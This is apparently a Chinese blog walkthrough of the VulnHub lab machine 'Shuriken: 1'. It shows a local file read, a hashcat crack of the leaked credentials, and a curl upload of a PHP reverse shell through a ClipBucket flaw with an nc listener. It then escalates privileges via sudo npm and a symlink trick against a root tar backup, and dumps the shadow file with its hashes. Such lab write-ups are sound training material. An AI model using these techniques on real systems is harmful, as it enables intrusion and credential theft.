Shuriken: 1

vulnhub地址：http://www.vulnhub.com/entry/shuriken-1,600/

0x01 信息收集到获取shell

服务器只开放了80端口，dirb爬取目录。

==> DIRECTORY: http://192.168.56.121/css/
==> DIRECTORY: http://192.168.56.121/img/
+ http://192.168.56.121/index.php (CODE:200|SIZE:6021)
==> DIRECTORY: http://192.168.56.121/js/
==> DIRECTORY: http://192.168.56.121/secret/

最初以为secret目录下secret.png图片做了信息隐藏，一顿操作没有找到任何信息。反过来查看index.php页面的js，发现了有意思的东西。

修改hosts后访问http://broadcast.shuriken.local，发现需要basic auth。

于是尝试另一个请求http://shuriken.local/index.php?referer=，读取到了apache2的默认配置文件/etc/apache2/sites-enabled/000-default.conf。

继续读/etc/apach2/.htpasswd，得到了用户名和加密密码developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0。

用hashcat结合rockyou字典破解密码为9972761drmfsls。

kali@kali:~$ hashcat -m 1600 -a 0 1.txt /usr/share/wordlists/rockyou.txt --show
$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0:9972761drmfsls

进入系统，发现是clipbucket4.0。

在exploit-db上搜到一个利用：https://www.exploit-db.com/exploits/44250，成功上传shell。

kali@kali:~$ curl --basic --user "developers:9972761drmfsls" -F "file=@php_reverse_shell.php" -F "plupload=1" -F "name=anyname.php"  http://broadcast.shuriken.local/actions/beats_uploader.php
{"success":"yes","file_name":"160691880796e48b","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"}kali@kali:~$ nc -lp 8080
Linux shuriken 5.4.0-47-generic #51~18.04.1-Ubuntu SMP Sat Sep 5 14:35:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux15:20:42 up  1:52,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1     -                13:28   15:30   0.35s  0.35s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)

0x02 提权至server-management

查看sudo -l，发现可以执行npm，这里利用npm run功能，成功切换到用户server-management。

先生成一个package.json，内容为：

{"scripts":{"dev": "/bin/bash"}
}

在相同目录下执行命令sudo -u server-management npm run dev，得到第一个flag。

$ cat package.json
{"scripts":{"dev":"/bin/bash"}}
$ sudo -u server-management npm run dev> @ dev /tmp/test
> /bin/bashid
uid=1000(server-management) gid=1000(server-management) groups=1000(server-management),24(cdrom),30(dip),46(plugdev),116(lpadmin),122(sambashare)cd /home/server-management
cat user.txt
67528b07b382dfaa490f4dffc57dcdc0

0x03 提权至root

上传运行pspy64发现了以下奇怪的进程:

2020/12/03 06:04:01 CMD: UID=0    PID=2772   | /bin/bash /var/opt/backupsrv.sh

查看backupsrv.sh:

server-management@shuriken:/var/opt$ cat backupsrv.sh
cat backupsrv.sh
#!/bin/bash# Where to backup to.
dest="/var/backups"# What to backup.
cd /home/server-management/Documents
backup_files="*"# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo# Backup the files using tar.
tar czf $dest/$archive_file $backup_files# Print end status message.
echo
echo "Backup finished"
date# Long listing of files in $dest to check file sizes.
ls -lh $dest

观察了一下，该sh大概每分钟会被执行一次，由于sh中参数不能修改，于是这里删除了/home/server-management/Documents文件夹，做了/etc到Documents的软连接，压缩成功后将其拷贝到/var/www/main（注意：需切换到www-data用户），下载后获取到shadow文件。

# 软连接前
-rw-r--r--  1 root root     49331 Dec  3 06:20 shuriken-Thursday.tgz
server-management@shuriken:/var/backups$ rm ~/Documents -rf
server-management@shuriken:/var/backups$ ln -s /etc /home/server-management/Documents
# 软连接后
-rw-r--r--  1 root root   1124824 Dec  3 06:22 shuriken-Thursday.tgz

kali@kali:~/Downloads/test/shuriken-Thursday$ cat shadow
root:$6$KEYGm0ZQ$oTT3SYXna/5H61MZCwqvY995xtDqHGaMe5LRrMXNtVLLDVwfoj.DtJ0AQk6wfhAfOW23uR6wqd7UC5I7MPq0a0:18522:0:99999:7:::
daemon:*:18522:0:99999:7:::
bin:*:18522:0:99999:7:::
sys:*:18522:0:99999:7:::
sync:*:18522:0:99999:7:::
games:*:18522:0:99999:7:::
man:*:18522:0:99999:7:::
lp:*:18522:0:99999:7:::
mail:*:18522:0:99999:7:::
news:*:18522:0:99999:7:::
uucp:*:18522:0:99999:7:::
proxy:*:18522:0:99999:7:::
www-data:*:18522:0:99999:7:::
backup:*:18522:0:99999:7:::
list:*:18522:0:99999:7:::
irc:*:18522:0:99999:7:::
gnats:*:18522:0:99999:7:::
nobody:*:18522:0:99999:7:::
systemd-network:*:18522:0:99999:7:::
systemd-resolve:*:18522:0:99999:7:::
syslog:*:18522:0:99999:7:::
messagebus:*:18522:0:99999:7:::
_apt:*:18522:0:99999:7:::
uuidd:*:18522:0:99999:7:::
lightdm:*:18522:0:99999:7:::
whoopsie:*:18522:0:99999:7:::
kernoops:*:18522:0:99999:7:::
pulse:*:18522:0:99999:7:::
avahi:*:18522:0:99999:7:::
hplip:*:18522:0:99999:7:::
server-management:$6$.KeNqlcH$7vLzfrtf2GWWJ.32ZN0mMTJhHlYDE9PQsbrqkcgpnXDAv9hW27b1D/tC/XD1rsN29.DKFXVEqWgVtZxwvSTgE0:18522:0:99999:7:::
vboxadd:!:18522::::::
mysql:!:18522:0:99999:7:::

hashcat一时没跑出来，算了，重复上面的步骤，将/root文件夹下下来，得到新的flag。

kali@kali:~/Downloads/test$ cat root.txt d0f9655a4454ac54e3002265d40b2edd__                   ____  ____   ____    ________________ _/  |_  ______
_/ ___\/  _ \ /    \  / ___\_  __ \__  \\   __\/  ___/
\  \__(  <_> )   |  \/ /_/  >  | \// __ \|  |  \___ \          \___  >____/|___|  /\___  /|__|  (____  /__| /____  >         \/           \//_____/            \/          \/          __             .______.__. ____  __ __  _______  ____   _____/  |_  ____   __| _/
<   |  |/  _ \|  |  \ \_  __ \/  _ \ /  _ \   __\/ __ \ / __ | \___  (  <_> )  |  /  |  | \(  <_> |  <_> )  | \  ___// /_/ | / ____|\____/|____/   |__|   \____/ \____/|__|  \___  >____ | \/                                                  \/     \/ _________.__                 .__ __                          /   _____/|  |__  __ _________|__|  | __ ____   ____          \_____  \ |  |  \|  |  \_  __ \  |  |/ // __ \ /    \         /        \|   Y  \  |  /|  | \/  |    <\  ___/|   |  \
/_______  /|___|  /____/ |__|  |__|__|_ \\___  >___|  /        \/      \/                     \/    \/     \/

Shuriken: 1 vulnhub walkthrough相关推荐

Warzone: 3 (Exogen) vulnhub walkthrough
Warzone: 3 (Exogen) vulnhub地址:http://www.vulnhub.com/entry/warzone-3-exogen,606/ 0x01 信息收集到获取shell P ...
Money Heist: 1 vulnhub walkthrough
Money Heist: 1 虚拟机页面:http://www.vulnhub.com/entry/money-heist-1,592/ Description "The Professor ...
Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
Vulnhub靶机：ME AND MY GIRLFRIEND_ 1
目录介绍信息收集主机发现主机信息探测网站探测 sql注入-失败水平越权-成功获取到所有账号密码 SSH爆破 SSH登录 Flag1 提权拿到Flag2 方法1:php命令执行方法2:p ...
vulnhub-durian
靶机:durian 下载地址:Durian: 1 ~ VulnHub 实验机:kali 2020 windows 10 1.信息收集 1.nmap信息收集 sudo nmap -sS -sV -s ...
vulnhub Funbox: 1
渗透思路: nmap扫描----wpscan爆破网站用户名和密码----joe用户ssh登录并绕过rbash----文件权限777定时任务提权(多个用户定时任务执行同一个文件) 环境信息: 靶机:19 ...
vulnhub Earth:解题思路
靶场下载地址: The Planets: Earth ~ VulnHubThe Planets: Earth, made by SirFlash. Download & walkthrough ...
VulnHub日记（八）：Hacker Kid
靶机介绍参考链接:Hacker Kid Walkthrough - Vulnhub - Security - NepCodeX 虚拟机链接:Hacker kid: 1.0.1 ~ VulnHub 开 ...
vulnhub Tr0ll: 2
本文思路 nmap扫描---->dirb扫描发现robots---->dirb配合找到的字典爆破目录---->访问目录下载图片---->strings考察图片,发现新目录y0u ...

Shuriken: 1 vulnhub walkthrough

Shuriken: 1

0x01 信息收集到获取shell

0x02 提权至server-management

0x03 提权至root

Shuriken: 1 vulnhub walkthrough相关推荐

最新文章

热门文章